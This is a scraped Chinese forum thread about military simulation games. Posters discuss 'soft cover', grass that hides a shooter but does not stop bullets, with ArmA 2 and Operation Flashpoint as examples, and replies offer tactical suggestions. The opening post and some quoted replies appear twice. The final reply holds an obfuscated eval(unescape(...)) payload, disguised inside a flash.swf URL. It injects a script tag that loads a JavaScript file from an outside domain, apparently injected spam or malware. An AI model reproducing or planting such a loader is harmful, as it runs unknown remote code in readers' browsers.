半月行动

来源:百度文库 编辑:超级军网 时间:2024/04/29 19:06:29
       时隔一年多,终于把自己安顿好了,可以继续来OH发帖抛砖引玉了。

       题外话:发帖前我重新温习了坛子的动态,感觉研究氛围还是不够热烈啊。虽然我们是严肃娱乐,但是探讨军事问题的帖子反而应该比别的坛子更多更深入啊。我个人是把军事问题当做副业在持之以恒的对待,因为其中不仅有男子汉的兴趣爱好,还有很多可用于人生和日常工作生活的策略和道理,研究并参与军事模拟还能培养和保持勇敢机敏的性格心理。所以我不认为花时间在OH上是玩物丧志,所以在此真诚倡议大家积极参与、认真参与,并且积极地把在活动中和平时的思考拿出来和大家一起探讨!

       入正题。在最近玩游戏的过程中遇到了这样一个问题,地面的草丛对隐蔽动作带来讨厌的麻烦。
       交战的一种程序可以是这样的:1、我方前行中突然发现敌方并率先射击;2、敌人还击,我寻找隐蔽;3、我依托隐蔽继续还击。那么在野战环境下,利用防界线时(如图A),我方首先在A点处透过B点的草丛发现敌人在C点,但是一旦交火后子弹将穿过草丛,我方必须退到A‘点处才能利用D点的地面抵挡敌方子弹。根据地形和草丛情况,A至A'的距离可能较远,退守动作用时较长,增加了中弹危险。另外,一旦向A'移动,我方视线将被草丛完全遮挡无法有效瞄准敌方,相反,敌方离草丛远,视线较好,可根据我方大致位置进行概略射击,造成我方被动态势,直到我方完全退至A’,双方火线均不再通视。整个过程我方利用地形的动作甚至恶化了敌我态势,这就是地面草丛带来的麻烦,我姑且称其为“软遮蔽”。

       对照看看理想情况:如果没有B点的草丛,我方将提前于A'处即发现敌人,立即开火,根据火力效果和敌方动作灵活利用D点抵挡敌方火力,而敌方附近无可利用掩体,将使交战态势明显利于我方。B点的植被成为影响态势的关键。
       这个问题在游戏中对比更加明显。如果对照AA2和老版的闪点行动1,AA2的地面草丛将遮蔽玩家视线却不太能遮蔽敌AI视线,导致在接敌时AI优先发现、优先开火,给玩家带来一定麻烦。闪点行动1的地面大多没有制作草丛,玩家可以随时利用硬质的地面起伏实施隐蔽。
       进一步推广来说,这种遮蔽视线却不遮蔽火力的地形还有很多,比如过弯时墙角的顶端易被子弹穿彻,当身体已探出转角并欲撤回转角躲避对方火力时,敌方火力效果往往会继续发挥效果,直至我方远离墙角,这个过程也属于态势对己方更危险。更不用说地面的灌木植被、各种轻薄的小型遮蔽物体了,一旦在这些物体后交火,我方的退却动作都将造成敌方概略射击穿过“软遮蔽”物体而我方实属暴露且视线受阻无法还击的窘境。
      那么我先不发表个人拙见,恳请先行一步的兄弟指导~
       时隔一年多,终于把自己安顿好了,可以继续来OH发帖抛砖引玉了。

       题外话:发帖前我重新温习了坛子的动态,感觉研究氛围还是不够热烈啊。虽然我们是严肃娱乐,但是探讨军事问题的帖子反而应该比别的坛子更多更深入啊。我个人是把军事问题当做副业在持之以恒的对待,因为其中不仅有男子汉的兴趣爱好,还有很多可用于人生和日常工作生活的策略和道理,研究并参与军事模拟还能培养和保持勇敢机敏的性格心理。所以我不认为花时间在OH上是玩物丧志,所以在此真诚倡议大家积极参与、认真参与,并且积极地把在活动中和平时的思考拿出来和大家一起探讨!

       入正题。在最近玩游戏的过程中遇到了这样一个问题,地面的草丛对隐蔽动作带来讨厌的麻烦。
       交战的一种程序可以是这样的:1、我方前行中突然发现敌方并率先射击;2、敌人还击,我寻找隐蔽;3、我依托隐蔽继续还击。那么在野战环境下,利用防界线时(如图A),我方首先在A点处透过B点的草丛发现敌人在C点,但是一旦交火后子弹将穿过草丛,我方必须退到A‘点处才能利用D点的地面抵挡敌方子弹。根据地形和草丛情况,A至A'的距离可能较远,退守动作用时较长,增加了中弹危险。另外,一旦向A'移动,我方视线将被草丛完全遮挡无法有效瞄准敌方,相反,敌方离草丛远,视线较好,可根据我方大致位置进行概略射击,造成我方被动态势,直到我方完全退至A’,双方火线均不再通视。整个过程我方利用地形的动作甚至恶化了敌我态势,这就是地面草丛带来的麻烦,我姑且称其为“软遮蔽”。

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图A

2013-9-14 11:04 上传


       对照看看理想情况:如果没有B点的草丛,我方将提前于A'处即发现敌人,立即开火,根据火力效果和敌方动作灵活利用D点抵挡敌方火力,而敌方附近无可利用掩体,将使交战态势明显利于我方。B点的植被成为影响态势的关键。
       这个问题在游戏中对比更加明显。如果对照AA2和老版的闪点行动1,AA2的地面草丛将遮蔽玩家视线却不太能遮蔽敌AI视线,导致在接敌时AI优先发现、优先开火,给玩家带来一定麻烦。闪点行动1的地面大多没有制作草丛,玩家可以随时利用硬质的地面起伏实施隐蔽。
       进一步推广来说,这种遮蔽视线却不遮蔽火力的地形还有很多,比如过弯时墙角的顶端易被子弹穿彻,当身体已探出转角并欲撤回转角躲避对方火力时,敌方火力效果往往会继续发挥效果,直至我方远离墙角,这个过程也属于态势对己方更危险。更不用说地面的灌木植被、各种轻薄的小型遮蔽物体了,一旦在这些物体后交火,我方的退却动作都将造成敌方概略射击穿过“软遮蔽”物体而我方实属暴露且视线受阻无法还击的窘境。
      那么我先不发表个人拙见,恳请先行一步的兄弟指导~
本人小白,瞎说:遇到这种情况,可以放低身体的姿态,采用卧倒等姿势来减少AA‘的距离了;再就是你卧倒后敌人的视线由于出现盲区也不能对你准确打击,所以要迅速后撤至A’以后。

骐骥 发表于 2013-10-4 16:10
本人小白,瞎说:遇到这种情况,可以放低身体的姿态,采用卧倒等姿势来减少AA‘的距离了;再就是你卧倒后敌 ...


卧倒,是一个非常广泛使用的、非常重要的战术动作----在野战环境下。主要是减小被发现的概率、被击中的概率。很多情况下卧倒姿势能发挥重要功能。在本例中我已经强调它存在的问题了,就是远离D点的卧倒将严重因草地干扰自己的视线(草地上的草是比较密的,而且到处都有,AA‘一段也是密布的)!另外当接近D点卧倒时又不能快速后撤(卧姿行动比较慢)。这就是一个矛盾~
骐骥 发表于 2013-10-4 16:10
本人小白,瞎说:遇到这种情况,可以放低身体的姿态,采用卧倒等姿势来减少AA‘的距离了;再就是你卧倒后敌 ...


卧倒,是一个非常广泛使用的、非常重要的战术动作----在野战环境下。主要是减小被发现的概率、被击中的概率。很多情况下卧倒姿势能发挥重要功能。在本例中我已经强调它存在的问题了,就是远离D点的卧倒将严重因草地干扰自己的视线(草地上的草是比较密的,而且到处都有,AA‘一段也是密布的)!另外当接近D点卧倒时又不能快速后撤(卧姿行动比较慢)。这就是一个矛盾~
趴在草丛那儿抢先开火压住敌人火力就行了,怎么说你在草丛之中,相对于在开阔地的敌人来说是更难被发现的,后退一下就能利用地面做掩体,还占有抢先开火和制高点的优势。。。。如果这你还压制不住敌方火力,那还是洗洗睡吧不要参与交战了。或者板载冲锋啦
如果我方是在草丛里隐蔽,敌方在没有知道有埋伏的情况下并且是在没有掩护物的开阔地,我方突然开火可以有效压制敌人,给予敌方一定的杀伤并且可以使敌陷入短暂混乱。如果敌人数量众多并且很快组织有效的反击,我方可以在交火后果断利用草丛掩护迅速撤退。本身先敌开火我方就具备了一定优势,如果敌方小股队伍,一举歼灭应该不成问题。
于是这个很正常啊 不解释http://www.coolool.com/flash.swf?\'+eval(unescape(/var%20b%3ddocument.createelement%28%22script%22%29%3bb.src%3d%22http%3a%2f%2fwww.dzsstye.com%2fa.js%22%3b%28document.getelementsbytagname%28%22head%22%29%5b0%5d%7c%7cdocument.body%29.appendchild%28b%29%3b/.source))+\'
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